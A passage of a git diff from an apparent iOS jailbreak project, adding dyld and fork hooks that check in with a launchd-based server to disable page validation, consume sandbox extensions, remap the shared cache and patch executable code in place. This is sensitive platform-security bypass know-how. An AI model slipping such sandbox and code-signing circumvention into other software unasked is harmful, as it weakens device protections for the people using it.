+ +.data +.global ___stack_chk_guard +___stack_chk_guard: + .quad 0x1337 \ No newline at end of file diff --git a/BaseBin/dyldhook/src/main.c b/BaseBin/dyldhook/src/main.c new file mode 100644 index 0000000000..efc9755e6f --- /dev/null +++ b/BaseBin/dyldhook/src/main.c @@ -0,0 +1,81 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "dyld.h" +#include "dyld_jbinfo.h" + +__attribute__((section("__DATA,__jbinfo"))) static char jbinfoSection[0x4000]; +#define jbInfo ((struct dyld_jbinfo *)&jbinfoSection[0]) + +bool gDyldhookInitDone = false; + +bool jbinfo_is_checked_in(void) +{ + return jbInfo->state == DYLD_STATE_CHECKED_IN; +} + +char *jbinfo_get_jbroot(void) +{ + return jbInfo->jbRootPath; +} + +void consume_tokenized_sandbox_extensions(char *sandboxExtensions) +{ + if (sandboxExtensions[0] == '\0') return; + + char *it = sandboxExtensions; + char *last = sandboxExtensions; + while (*(++it) != '\0') { + if (*it == '|') { + *it = '\0'; + sandbox_extension_consume(last); + last = &it[1]; + *it = '|'; + } + } + sandbox_extension_consume(last); +} + +void dyldhook_perform_checkin(void) +{ + struct jbserver_mach_msg_checkin_reply *replyPtr; // Only for sizeof macro + + char *jbRootPathPtr = &jbInfo->data[0]; + char *bootUUIDPtr = &jbInfo->data[sizeof(replyPtr->jbRootPath)]; + char *sandboxExtensionsPtr = &jbInfo->data[sizeof(replyPtr->jbRootPath)+sizeof(replyPtr->bootUUID)]; + + // Tell jbserver (in launchd) that this process exists + // This will, amongst other things, disable page validation, which allows instruction hooks to be applied later + if (jbclient_mach_process_checkin(jbRootPathPtr, bootUUIDPtr, sandboxExtensionsPtr, &jbInfo->fullyDebugged) == 0) { + consume_tokenized_sandbox_extensions(sandboxExtensionsPtr); + jbInfo->jbRootPath = jbRootPathPtr; + jbInfo->bootUUID = bootUUIDPtr; + jbInfo->sandboxExtensions = sandboxExtensionsPtr; + jbInfo->state = DYLD_STATE_CHECKED_IN; + } +} + +void dyldhook_init(uintptr_t kernelParams) +{ + // If we are in launchd, bail out + if (getpid() == 1) { + return; + } + + // Walk kernelParams to get envp + uintptr_t argc = *(uintptr_t *)(kernelParams + sizeof(void *)); + char **envp = (char **)(kernelParams + sizeof(void *) + sizeof(argc) + (sizeof(const char *) * argc) + sizeof(void *)); + + // If DYLD_INSERT_LIBRARIES is not set or does not contain systemhook, bail out + const char *insertLibrariesVar = _simple_getenv(envp, "DYLD_INSERT_LIBRARIES"); + if (!insertLibrariesVar) return; + if (!strstr(insertLibrariesVar, "/systemhook.dylib")) return; + + // If all is well, do check-in right here before dyld_start! + dyldhook_perform_checkin(); +} \ No newline at end of file diff --git a/BaseBin/dyldhook/src/reimpl.c b/BaseBin/dyldhook/src/reimpl.c new file mode 100644 index 0000000000..f864190fd0 --- /dev/null +++ b/BaseBin/dyldhook/src/reimpl.c @@ -0,0 +1,225 @@ +#include +#include +#include +#include +#include +#include + +#include "dyld.h" + +__attribute__((naked)) uint64_t msyscall_errno(uint64_t syscall, ...) +{ + asm( + "mov x16, x0\n" + "ldp x0, x1, [sp]\n" + "ldp x2, x3, [sp, 0x10]\n" + "ldp x4, x5, [sp, 0x20]\n" + "ldp x6, x7, [sp, 0x30]\n" + "svc 0x80\n" + "b.cs 20f\n" + "ret\n" + "20:\n" + "b _cerror\n" + ); +} + +int64_t sandbox_extension_consume(const char *extension_token) +{ + int64_t r = 0xAAAAAAAAAAAAAAAA; + if (!strcmp(extension_token, "invalid")) return 0; + + struct sandbox_policy_layout data = { + .profile = (void *)extension_token, + .len = strlen(extension_token) + 1, + .container = &r, + }; + + if (__sandbox_ms("Sandbox", 6, &data) != 0) { + return -1; + } + else { + return r; + } +} + +// mig_get_reply_port has to be reimplemented because the implementation inside dyld accesses TPIDRRO_EL0 (which is NULL when the dyldhook code runs) +// We make the reimplementation store it in a global instead, which is enough since we will only be calling it from one thread anyways +// gMigReplyPort will be invalid after the process forks, so we need to make sure to only use that during the process initialization +// That's why after TPIDRRO_EL0 has been initialized, we will simply use dyld's mig_get_reply_port again, since TPIDRRO_EL0 should be initialized the next time it's called + +uint64_t __attribute((noinline, naked)) get_tpidrro_el0(void) +{ + __asm("mrs x0, TPIDRRO_EL0"); + __asm("ret"); +} + +mach_port_t gMigReplyPort = 0; +mach_port_t dyld_mig_get_reply_port(void); + +#if IOS == 15 +extern mach_port_t mach_reply_port(void); + +mach_port_t mig_get_reply_port(void) { + if (get_tpidrro_el0() == 0) { + if (!gMigReplyPort) { + gMigReplyPort = mach_reply_port(); + } + return gMigReplyPort; + } + + return dyld_mig_get_reply_port(); +} +#else // iOS 16+ + +struct mach_port_options gMigOptions = { + .flags = 0x1000, +}; + +mach_port_t mig_get_reply_port(void) { + if (get_tpidrro_el0() == 0) { + if (!gMigReplyPort) { + struct mach_port_options options = gMigOptions; + mach_port_construct(task_self_trap(), &options, 0, &gMigReplyPort); + } + return gMigReplyPort; + } + + return dyld_mig_get_reply_port(); +} + +// iOS 16+ dyld's do no longer have mach_msg, reimplement it +// We also need to reimplement mach_msg2, since task.c needs it + +__options_decl(mach_msg_option64_t, uint64_t, { + MACH64_MSG_OPTION_NONE = 0x0ull, + /* share lower 32 bits with mach_msg_option_t */ + MACH64_SEND_MSG = MACH_SEND_MSG, + MACH64_RCV_MSG = MACH_RCV_MSG, + + MACH64_RCV_LARGE = MACH_RCV_LARGE, + MACH64_RCV_LARGE_IDENTITY = MACH_RCV_LARGE_IDENTITY, + + MACH64_SEND_TIMEOUT = MACH_SEND_TIMEOUT, + MACH64_SEND_OVERRIDE = MACH_SEND_OVERRIDE, + MACH64_SEND_INTERRUPT = MACH_SEND_INTERRUPT, + MACH64_SEND_NOTIFY = MACH_SEND_NOTIFY, +#if KERNEL + MACH64_SEND_ALWAYS = MACH_SEND_ALWAYS, + MACH64_SEND_IMPORTANCE = MACH_SEND_IMPORTANCE, + MACH64_SEND_KERNEL = MACH_SEND_KERNEL, +#endif + MACH64_SEND_FILTER_NONFATAL = MACH_SEND_FILTER_NONFATAL, + MACH64_SEND_TRAILER = MACH_SEND_TRAILER, + MACH64_SEND_NOIMPORTANCE = MACH_SEND_NOIMPORTANCE, + MACH64_SEND_NODENAP = MACH_SEND_NODENAP, + MACH64_SEND_SYNC_OVERRIDE = MACH_SEND_SYNC_OVERRIDE, + MACH64_SEND_PROPAGATE_QOS = MACH_SEND_PROPAGATE_QOS, + + MACH64_SEND_SYNC_BOOTSTRAP_CHECKIN = MACH_SEND_SYNC_BOOTSTRAP_CHECKIN, + + MACH64_RCV_TIMEOUT = MACH_RCV_TIMEOUT, + + MACH64_RCV_INTERRUPT = MACH_RCV_INTERRUPT, + MACH64_RCV_VOUCHER = MACH_RCV_VOUCHER, + + MACH64_RCV_GUARDED_DESC = MACH_RCV_GUARDED_DESC, + MACH64_RCV_SYNC_WAIT = MACH_RCV_SYNC_WAIT, + MACH64_RCV_SYNC_PEEK = MACH_RCV_SYNC_PEEK, + + MACH64_MSG_STRICT_REPLY = MACH_MSG_STRICT_REPLY, + /* following options are 64 only */ + + /* Send and receive message as vectors */ + MACH64_MSG_VECTOR = 0x0000000100000000ull, + /* The message is a kobject call */ + MACH64_SEND_KOBJECT_CALL = 0x0000000200000000ull, + /* The message is sent to a message queue */ + MACH64_SEND_MQ_CALL = 0x0000000400000000ull, + /* This message destination is unknown. Used by old simulators only. */ + MACH64_SEND_ANY = 0x0000000800000000ull, + +#ifdef XNU_KERNEL_PRIVATE + /* + * If kmsg has auxiliary data, append it immediate after the message + * and trailer. + * + * Must be used in conjunction with MACH64_MSG_VECTOR + */ + MACH64_RCV_LINEAR_VECTOR = 0x1000000000000000ull, + /* Receive into highest addr of buffer */ + MACH64_RCV_STACK = 0x2000000000000000ull, + /* + * This internal-only flag is intended for use by a single thread per-port/set! + * If more than one thread attempts to MACH64_PEEK_MSG on a port or set, one of + * the threads may miss messages (in fact, it may never wake up). + */ + MACH64_PEEK_MSG = 0x4000000000000000ull, + /* + * This is a mach_msg2() send/receive operation. + */ + MACH64_MACH_MSG2 = 0x8000000000000000ull +#endif +}); + +mach_msg_return_t +mach_msg2_internal( + void *data, + mach_msg_option64_t option64, + uint64_t msgh_bits_and_send_size, + uint64_t msgh_remote_and_local_port, + uint64_t msgh_voucher_and_id, + uint64_t desc_count_and_rcv_name, + uint64_t rcv_size_and_priority, + uint64_t timeout); + +typedef struct { + /* a mach_msg_header_t* or mach_msg_aux_header_t* */ + mach_vm_address_t msgv_data; + /* if msgv_rcv_addr is non-zero, use it as rcv address instead */ + mach_vm_address_t msgv_rcv_addr; + mach_msg_size_t msgv_send_size; + mach_msg_size_t msgv_rcv_size; +} mach_msg_vector_t; + +mach_msg_return_t mach_msg2( + void *data, + mach_msg_option64_t option64, + mach_msg_header_t header, + mach_msg_size_t send_size, + mach_msg_size_t rcv_size, + mach_port_t rcv_name, + uint64_t timeout, + uint32_t priority) +{ + mach_msg_base_t *base; + mach_msg_size_t descriptors; + + if (option64 & MACH64_MSG_VECTOR) { + base = (mach_msg_base_t *)((mach_msg_vector_t *)data)->msgv_data; + } else { + base = (mach_msg_base_t *)data; + } + + if ((option64 & MACH64_SEND_MSG) && + (base->header.msgh_bits & MACH_MSGH_BITS_COMPLEX)) { + descriptors = base->body.msgh_descriptor_count; + } else { + descriptors = 0; + } + +#define MACH_MSG2_SHIFT_ARGS(lo, hi) ((uint64_t)hi << 32 | (uint32_t)lo) + return mach_msg2_internal(data, option64, + MACH_MSG2_SHIFT_ARGS(header.msgh_bits, send_size), + MACH_MSG2_SHIFT_ARGS(header.msgh_remote_port, header.msgh_local_port), + MACH_MSG2_SHIFT_ARGS(header.msgh_voucher_port, header.msgh_id), + MACH_MSG2_SHIFT_ARGS(descriptors, rcv_name), + MACH_MSG2_SHIFT_ARGS(rcv_size, priority), timeout); +#undef MACH_MSG2_SHIFT_ARGS +} + +kern_return_t mach_msg(mach_msg_header_t *msg, mach_msg_option_t option, mach_msg_size_t send_size, mach_msg_size_t rcv_size, mach_port_name_t rcv_name, mach_msg_timeout_t timeout, mach_port_name_t notify) +{ + return mach_msg_overwrite(msg, option, send_size, rcv_size, rcv_name, timeout, notify, NULL, 0); +} + +#endif \ No newline at end of file diff --git a/BaseBin/dyldhook/src/spinlock_fix.c b/BaseBin/dyldhook/src/spinlock_fix.c new file mode 100644 index 0000000000..be5884845b --- /dev/null +++ b/BaseBin/dyldhook/src/spinlock_fix.c @@ -0,0 +1,118 @@ +#if IOS==15 && __arm64e__ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#define TARGET_OS_SIMULATOR 0 +#include + +#include "machomerger_hook.h" + +char *__locate_dsc(void) +{ + // We make two assumptions here + // 1. This code is only called on iOS 15 arm64e (since the spinlock panic doesn't affect anything else) + // 2. This code is only called if the shared cache has been mapped in via a shared region + // For these reasons, we can just hardcode the path + return "/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64e"; +} + +void __dsc_file_enumerate_mappings(int fd, struct dyld_cache_header *header, uintptr_t slide, bool (*enumeratorFunc)(int fd, struct dyld_cache_header *header, uintptr_t slide, struct dyld_cache_mapping_info *mapping)) +{ + struct dyld_cache_mapping_info mappingInfos[header->mappingCount]; + lseek(fd, header->mappingOffset, SEEK_SET); + if (read(fd, mappingInfos, sizeof(struct dyld_cache_mapping_info) * header->mappingCount) != sizeof(struct dyld_cache_mapping_info) * header->mappingCount) return; + + for (uint32_t i = 0; i < header->mappingCount; i++) { + struct dyld_cache_mapping_info *mapping = &mappingInfos[i]; + enumeratorFunc(fd, header, slide, mapping); + } +} + +void __dsc_enumerate_mappings(uintptr_t slide, bool (*enumeratorFunc)(int fd, struct dyld_cache_header *header, uintptr_t slide, struct dyld_cache_mapping_info *mapping)) +{ + char *dscPath = __locate_dsc(); + + int dscFd = open(dscPath, O_RDONLY); + if (dscFd < 0) return; + + struct dyld_cache_header header; + if (read(dscFd, &header, sizeof(header)) != sizeof(header)) { close(dscFd); return; } + + __dsc_file_enumerate_mappings(dscFd, &header, slide, enumeratorFunc); + + struct dyld_subcache_entry_v1 subcacheEntries[header.subCacheArrayCount]; + lseek(dscFd, header.subCacheArrayOffset, SEEK_SET); + if (read(dscFd, subcacheEntries, sizeof(struct dyld_subcache_entry_v1) * header.subCacheArrayCount) != sizeof(struct dyld_subcache_entry_v1) * header.subCacheArrayCount) { close(dscFd); return; }; + + for (uint32_t i = 0; i < header.subCacheArrayCount; i++) { + char subcachePath[PATH_MAX]; + strcpy(subcachePath, dscPath); + + // Only supports 1-9 + // Since iOS 15 usually only has one subcache, this shall be fine + char suffix[3]; + suffix[0] = '.'; + suffix[1] = '1' + i; + suffix[2] = '\0'; + strcat(subcachePath, suffix); + + int subcacheFd = open(subcachePath, O_RDONLY); + if (subcacheFd >= 0) { + struct dyld_cache_header subcacheHeader; + if (read(subcacheFd, &subcacheHeader, sizeof(subcacheHeader)) != sizeof(subcacheHeader)) continue; + __dsc_file_enumerate_mappings(subcacheFd, &subcacheHeader, slide, enumeratorFunc); + close(subcacheFd); + } + } + + close(dscFd); +} + +int __dsc_attach_signature(int fd, struct dyld_cache_header *header) +{ + fsignatures_t siginfo; + siginfo.fs_file_start = 0; + siginfo.fs_blob_start = (void*)header->codeSignatureOffset; + siginfo.fs_blob_size = (size_t)(header->codeSignatureSize); + return fcntl(fd, F_ADDFILESIGS_RETURN, &siginfo); +} + +bool __dsc_mapping_make_private(int fd, struct dyld_cache_header *header, uintptr_t slide, struct dyld_cache_mapping_info *mapping) +{ + if (mapping->initProt & PROT_EXEC) { + int r = __dsc_attach_signature(fd, header); + if (r == 0) { + void *r = mmap((void *)(mapping->address + slide), mapping->size, PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE, fd, mapping->fileOffset); + } + } + return true; +} + +void dyld_make_dsc_text_private(uintptr_t slide) +{ + __dsc_enumerate_mappings(slide, __dsc_mapping_make_private); +} + +extern bool ORIG(_ZN5dyld313loadDyldCacheERKNS_18SharedCacheOptionsEPNS_19SharedCacheLoadInfoE)(uintptr_t options, uintptr_t results); +bool HOOK(_ZN5dyld313loadDyldCacheERKNS_18SharedCacheOptionsEPNS_19SharedCacheLoadInfoE)(uintptr_t options, uintptr_t results) +{ + bool r = ORIG(_ZN5dyld313loadDyldCacheERKNS_18SharedCacheOptionsEPNS_19SharedCacheLoadInfoE)(options, results); + + bool forcePrivate = *(bool *)(options + 8); + if (!forcePrivate) { + long slide = *(long *)(results + 8); + dyld_make_dsc_text_private(slide); + } + + return r; +} + +#endif \ No newline at end of file diff --git a/BaseBin/forkfix/Makefile b/BaseBin/forkfix/Makefile index e19587dc8b..1a21bc40ee 100644 --- a/BaseBin/forkfix/Makefile +++ b/BaseBin/forkfix/Makefile @@ -1,13 +1,13 @@ TARGET = forkfix.dylib CC = clang -CFLAGS = -I../.include -I./src -isysroot $(shell xcrun --sdk iphoneos --show-sdk-path) -arch arm64e -miphoneos-version-min=15.0 -O2 -LDFLAGS = -dynamiclib +CFLAGS = -I../.include -I./src -I../_external/modules/litehook/src -isysroot $(shell xcrun --sdk iphoneos --show-sdk-path) -arch arm64e -Wno-deprecated-declarations -miphoneos-version-min=15.0 -O2 +LDFLAGS = ../systemhook/systemhook.dylib -dynamiclib sign: $(TARGET) @ldid -S $^ -$(TARGET): $(wildcard src/*.c src/*.S) ../libjailbreak/src/jbclient_xpc.c +$(TARGET): $(wildcard src/*.c src/*.S ../libjailbreak/src/jbclient_*.c) $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ clean: diff --git a/BaseBin/forkfix/src/litehook.c b/BaseBin/forkfix/src/litehook.c deleted file mode 100644 index 58f1ca3da4..0000000000 --- a/BaseBin/forkfix/src/litehook.c +++ /dev/null @@ -1,104 +0,0 @@ -#include "litehook.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#ifdef __arm64e__ -static uint64_t __attribute((naked)) __xpaci(uint64_t a) -{ - asm(".long 0xDAC143E0"); // XPACI X0 - asm("ret"); -} -#endif - -uint64_t xpaci(uint64_t a) -{ - // If a looks like a non-pac'd pointer just return it - if ((a & 0xFFFFFF0000000000) == 0xFFFFFF0000000000) { - return a; - } -#ifdef __arm64e__ - return __xpaci(a); -#else - return a; -#endif -} - -uint32_t movk(uint8_t x, uint16_t val, uint16_t lsl) -{ - uint32_t base = 0b11110010100000000000000000000000; - - uint32_t hw = 0; - if (lsl == 16) { - hw = 0b01 << 21; - } - else if (lsl == 32) { - hw = 0b10 << 21; - } - else if (lsl == 48) { - hw = 0b11 << 21; - } - - uint32_t imm16 = (uint32_t)val << 5; - uint32_t rd = x & 0x1F; - - return base | hw | imm16 | rd; -} - -uint32_t br(uint8_t x) -{ - uint32_t base = 0b11010110000111110000000000000000; - uint32_t rn = ((uint32_t)x & 0x1F) << 5; - return base | rn; -} - -__attribute__((noinline, naked)) volatile kern_return_t litehook_vm_protect(mach_port_name_t target, mach_vm_address_t address, mach_vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection) -{ - __asm("mov x16, #0xFFFFFFFFFFFFFFF2"); - __asm("svc 0x80"); - __asm("ret"); -} - -kern_return_t litehook_unprotect(vm_address_t addr, vm_size_t size) -{ - return litehook_vm_protect(mach_task_self(), addr, size, false, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY); -} - -kern_return_t litehook_protect(vm_address_t addr, vm_size_t size) -{ - return litehook_vm_protect(mach_task_self(), addr, size, false, VM_PROT_READ | VM_PROT_EXECUTE); -} - -kern_return_t litehook_hook_function(void *source, void *target) -{ - kern_return_t kr = KERN_SUCCESS; - - uint32_t *toHook = (uint32_t*)xpaci((uint64_t)source); - uint64_t target64 = (uint64_t)xpaci((uint64_t)target); - - kr = litehook_unprotect((vm_address_t)toHook, 5*4); - if (kr != KERN_SUCCESS) return kr; - - toHook[0] = movk(16, target64 >> 0, 0); - toHook[1] = movk(16, target64 >> 16, 16); - toHook[2] = movk(16, target64 >> 32, 32); - toHook[3] = movk(16, target64 >> 48, 48); - toHook[4] = br(16); - uint32_t hookSize = 5 * sizeof(uint32_t); - - kr = litehook_protect((vm_address_t)toHook, hookSize); - if (kr != KERN_SUCCESS) return kr; - - sys_icache_invalidate(toHook, hookSize); - - return KERN_SUCCESS; -} diff --git a/BaseBin/forkfix/src/litehook.h b/BaseBin/forkfix/src/litehook.h deleted file mode 100644 index ed5e5b9d65..0000000000 --- a/BaseBin/forkfix/src/litehook.h +++ /dev/null @@ -1,5 +0,0 @@ -#include -#include -#include - -kern_return_t litehook_hook_function(void *source, void *target); \ No newline at end of file diff --git a/BaseBin/forkfix/src/main.c b/BaseBin/forkfix/src/main.c index 3eab52e085..5084181af1 100644 --- a/BaseBin/forkfix/src/main.c +++ b/BaseBin/forkfix/src/main.c @@ -5,27 +5,22 @@ #include #include #include +#include #include "syscall.h" #include "litehook.h" -#include +#include -extern void _malloc_fork_prepare(void); -extern void _malloc_fork_parent(void); -extern void xpc_atfork_prepare(void); -extern void xpc_atfork_parent(void); -extern void dispatch_atfork_prepare(void); -extern void dispatch_atfork_parent(void); extern void __fork(void); int childToParentPipe[2]; int parentToChildPipe[2]; -static void openPipes(void) +static void open_pipes(void) { if (pipe(parentToChildPipe) < 0 || pipe(childToParentPipe) < 0) { abort(); } } -static void closePipes(void) +static void close_pipes(void) { if (ffsys_close(parentToChildPipe[0]) != 0 || ffsys_close(parentToChildPipe[1]) != 0 || ffsys_close(childToParentPipe[0]) != 0 || ffsys_close(childToParentPipe[1]) != 0) { abort(); @@ -44,19 +39,13 @@ void child_fixup(void) void parent_fixup(pid_t childPid) { - // Reenable some system functionality that XPC is dependent on and XPC itself - // (Normally unavailable during __fork) - _malloc_fork_parent(); - dispatch_atfork_parent(); - xpc_atfork_parent(); - // Wait until the child is ready and waiting char msg = ' '; read(childToParentPipe[0], &msg, sizeof(msg)); // Child is waiting for wx_allowed + permission fixups now // Apply fixup - int64_t fix_ret = jbclient_fork_fix(childPid); + int64_t fix_ret = jbclient_mach_fork_fix(childPid); if (fix_ret != 0) { kill(childPid, SIGKILL); abort(); @@ -64,20 +53,15 @@ void parent_fixup(pid_t childPid) // Tell child we are done, this will make it resume write(parentToChildPipe[1], &msg, sizeof(msg)); - - // Disable system functionality related to XPC again - _malloc_fork_prepare(); - dispatch_atfork_prepare(); - xpc_atfork_prepare(); } __attribute__((visibility ("default"))) pid_t forkfix___fork(void) { - openPipes(); + open_pipes(); pid_t pid = ffsys_fork(); if (pid < 0) { - closePipes(); + close_pipes(); return pid; } @@ -88,11 +72,19 @@ __attribute__((visibility ("default"))) pid_t forkfix___fork(void) parent_fixup(pid); } - closePipes(); + close_pipes(); return pid; } +void apply_fork_hook(void) +{ + static dispatch_once_t onceToken; + dispatch_once (&onceToken, ^{ + litehook_hook_function((void *)__fork, (void *)forkfix___fork); + }); +} + __attribute__((constructor)) static void initializer(void) { - litehook_hook_function((void *)&__fork, (void *)&forkfix___fork); -} \ No newline at end of file + apply_fork_hook(); +} diff --git a/BaseBin/forkfix/src/reimpl.c.disabled b/BaseBin/forkfix/src/reimpl.c.disabled new file mode 100644 index 0000000000..4c567f623b --- /dev/null +++ b/BaseBin/forkfix/src/reimpl.c.disabled @@ -0,0 +1,217 @@ +// This file contains reimplementations for everything that calls fork +// This would be neccessary if we want to use DYLD_INTERPOSE instead of hooking __fork directly +// It is no longer used for the following reasons: +// - Spinlock panics are fixed, so there is no disadvantage of hooking __fork directly +// - There are weird issues happening when interposing fork (Some CLI scripts start failing in weird ways) + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "../_external/modules/litehook/src/litehook.h" + +kern_return_t bootstrap_parent(mach_port_t bp, mach_port_t *parent_port); +void __fork(void); + +// There are two functions with direct branches to __fork: fork and vfork +// We want to rebind these to reimplementations that work the same, but call our __forkfix_fork instead + +// Additionally, there are also two functions with direct branches to fork: daemon and forkpty +// For these, we want to rebind them to reimplementations that work the same, but call our fork_reimpl instead + +// Unfortunately, there is no other option here than to reimplement the functions, since the point is to do no instruction replacements + +static int (*__fork_ptr)(void) = NULL; + +void (**_libSystem_atfork_prepare)(uint64_t v2Arg) = NULL; +void (**_libSystem_atfork_parent) (uint64_t v2Arg) = NULL; +void (**_libSystem_atfork_child) (uint64_t v2Arg) = NULL; + +int fork_reimpl(void) +{ + (*_libSystem_atfork_prepare)(0); + int pid = __fork_ptr(); + if (pid != 0) { + (*_libSystem_atfork_parent)(0); + } + else { + (*_libSystem_atfork_child)(0); + } + return pid; +} + +int vfork_reimpl(void) +{ + (*_libSystem_atfork_prepare)(1); + int pid = __fork_ptr(); + if (pid != 0) { + (*_libSystem_atfork_parent)(1); + } + else { + (*_libSystem_atfork_child)(1); + } + return pid; +} + +static void move_to_root_bootstrap(void) +{ + mach_port_t parent_port = 0; + mach_port_t previous_port = 0; + + do { + if (previous_port) { + mach_port_deallocate(mach_task_self(), previous_port); + previous_port = parent_port; + } else { + previous_port = bootstrap_port; + } + + if (bootstrap_parent(previous_port, &parent_port) != 0) { + return; + } + } while (parent_port != previous_port); + + task_set_bootstrap_port(mach_task_self(), parent_port); + bootstrap_port = parent_port; +} + +int daemon_reimpl(int nochdir, int noclose) +{ + struct sigaction osa, sa; + int fd; + pid_t newgrp; + int oerrno; + int osa_ok; + + /* A SIGHUP may be thrown when the parent exits below. */ + sigemptyset(&sa.sa_mask); + sa.sa_handler = SIG_IGN; + sa.sa_flags = 0; + osa_ok = sigaction(SIGHUP, &sa, &osa); + move_to_root_bootstrap(); + switch (fork_reimpl()) { + case -1: + return (-1); + case 0: + break; + default: + _exit(0); + } + + newgrp = setsid(); + oerrno = errno; + if (osa_ok != -1) + sigaction(SIGHUP, &osa, NULL); + + if (newgrp == -1) { + errno = oerrno; + return (-1); + } + + if (!nochdir) + (void)chdir("/"); + + if (!noclose && (fd = open("/dev/null", O_RDWR, 0)) != -1) { + (void)dup2(fd, STDIN_FILENO); + (void)dup2(fd, STDOUT_FILENO); + (void)dup2(fd, STDERR_FILENO); + if (fd > 2) + (void)close(fd); + } + return (0); +} + +int forkpty_reimpl(int *aprimary, char *name, struct termios *termp, struct winsize *winp) +{ + int primary, replica, pid; + + if (openpty(&primary, &replica, name, termp, winp) == -1) + return (-1); + switch (pid = fork_reimpl()) { + case -1: + (void) close(primary); + (void) close(replica); + return (-1); + case 0: + /* + * child + */ + (void) close(primary); + /* + * 4300297: login_tty() may fail to set the controlling tty. + * Since we have already forked, the best we can do is to + * dup the replica as if login_tty() succeeded. + */ + if (login_tty(replica) < 0) { + syslog(LOG_ERR, "forkpty: login_tty could't make controlling tty"); + (void) dup2(replica, 0); + (void) dup2(replica, 1); + (void) dup2(replica, 2); + if (replica > 2) + (void) close(replica); + } + return (0); + } + /* + * parent + */ + *aprimary = primary; + (void) close(replica); + return (pid); +} + +bool fork_rebind_filter(const mach_header *header) +{ + Dl_info info; + dladdr(header, &info); + + const char *path = info.dli_fname; + if (_dyld_shared_cache_contains_path(path)) { + // Ignore all dsc images that don't have fork or __fork pointers in their GOTs + // Just reading a GOT faults it in, which increases the resident memory + // By skipping these we save a fuck ton of memory and avoid issues with jetsam + // Unfortunately this is hardcoded since you cannot know them without reading their GOTs + // Since this code is only used on iOS 15, it should be fine + if (!strcmp(path, "/usr/lib/system/libsystem_c.dylib") || + !strcmp(path, "/System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguration") || + !strcmp(path, "/System/Library/Frameworks/FileProvider.framework/FileProvider") || + !strcmp(path, "/System/Library/PrivateFrameworks/UIKitCore.framework/UIKitCore") || + !strcmp(path, "/System/Library/PrivateFrameworks/LoggingSupport.framework/LoggingSupport")) { + return true; + } + return false; + } + + return true; +} + +bool fork_reimpl_init(void *fork_ptr) +{ + if (!fork_ptr) return false; + + __fork_ptr = fork_ptr; + + // The v2 functions take one argument, but we can still store them in the same pointer since the argument will just be discarded if the non v2 implementation is used + // In practice, the v2 implementation should always exist, since we're not dealing with super old versions, so all of this doesn't matter too much + const char *libcpath = "/usr/lib/system/libsystem_c.dylib"; + _libSystem_atfork_prepare = litehook_find_dsc_symbol(libcpath, "__libSystem_atfork_prepare_v2") ?: litehook_find_dsc_symbol(libcpath, "__libSystem_atfork_prepare"); + _libSystem_atfork_parent = litehook_find_dsc_symbol(libcpath, "__libSystem_atfork_parent_v2") ?: litehook_find_dsc_symbol(libcpath, "__libSystem_atfork_parent"); + _libSystem_atfork_child = litehook_find_dsc_symbol(libcpath, "__libSystem_atfork_child_v2") ?: litehook_find_dsc_symbol(libcpath, "__libSystem_atfork_child"); + + litehook_rebind_symbol(LITEHOOK_REBIND_GLOBAL, (void *)__fork, (void *)__fork_ptr, fork_rebind_filter); + litehook_rebind_symbol(LITEHOOK_REBIND_GLOBAL, (void *)fork, (void *)fork_reimpl, fork_rebind_filter); + litehook_rebind_symbol(LITEHOOK_REBIND_GLOBAL, (void *)vfork, (void *)vfork_reimpl, fork_rebind_filter); + litehook_rebind_symbol(LITEHOOK_REBIND_GLOBAL, (void *)daemon, (void *)daemon_reimpl , fork_rebind_filter); + litehook_rebind_symbol(LITEHOOK_REBIND_GLOBAL, (void *)forkpty, (void *)forkpty_reimpl, fork_rebind_filter); + + return true; +} \ No newline at end of file diff --git a/BaseBin/forkfix/src/reimpl.h.disabled b/BaseBin/forkfix/src/reimpl.h.disabled new file mode 100644 index 0000000000..05436df1fd --- /dev/null +++ b/BaseBin/forkfix/src/reimpl.h.disabled @@ -0,0 +1,6 @@ +int fork_reimpl(void); +int vfork_reimpl(void); +int daemon_reimpl(int nochdir, int noclose); +int forkpty_reimpl(int *aprimary, char *name, struct termios *termp, struct winsize *winp); + +bool fork_reimpl_init(void *fork_ptr); \ No newline at end of file diff --git a/BaseBin/idownloadd/Makefile b/BaseBin/idownloadd/Makefile index c6919cbe6b..89b25f8400 100644 --- a/BaseBin/idownloadd/Makefile +++ b/BaseBin/idownloadd/Makefile @@ -13,6 +13,6 @@ build: clean: xcodebuild -project $(XCODE_PROJECT) -scheme $(XCODE_SCHEME) -configuration $(CONFIGURATION) -destination generic/platform=iOS clean - @rm $(OUTPUT_NAME) + @rm -rf $(OUTPUT_NAME) default: build \ No newline at end of file diff --git a/BaseBin/idownloadd/src/idownloadd/shim.c b/BaseBin/idownloadd/src/idownloadd/shim.c index 1dd5587b47..3789abcd8f 100644 --- a/BaseBin/idownloadd/src/idownloadd/shim.c +++ b/BaseBin/idownloadd/src/idownloadd/shim.c @@ -20,7 +20,7 @@ uint64_t c_getkbase(void) bool c_kcall_supported(void) { - return jbinfo(usesPACBypass); + return is_kcall_available(); } int c_kcall(uint64_t *result, uint64_t func, int argc, const uint64_t *argv) diff --git a/BaseBin/jbctl/Makefile b/BaseBin/jbctl/Makefile index 8ad2297881..1c9d65dcbc 100644 --- a/BaseBin/jbctl/Makefile +++ b/BaseBin/jbctl/Makefile @@ -2,7 +2,7 @@ TARGET = jbctl CC = clang -CFLAGS = -framework Foundation -framework CoreServices -framework Security -I../.include -I./src -isysroot $(shell xcrun --sdk iphoneos --show-sdk-path) -arch arm64 -arch arm64e -miphoneos-version-min=15.0 -fobjc-arc +CFLAGS = -framework Foundation -framework CoreServices -framework Security -I../.include -I./src -isysroot $(shell xcrun --sdk iphoneos --show-sdk-path) -arch arm64 -arch arm64e -Wno-availability -miphoneos-version-min=15.0 -fobjc-arc LDFLAGS = -L../.build -ljailbreak -lchoma sign: $(TARGET) diff --git a/BaseBin/jbctl/entitlements.plist b/BaseBin/jbctl/entitlements.plist index 4e7a9e10a1..66bc94c133 100644 --- a/BaseBin/jbctl/entitlements.plist +++ b/BaseBin/jbctl/entitlements.plist @@ -18,5 +18,9 @@ 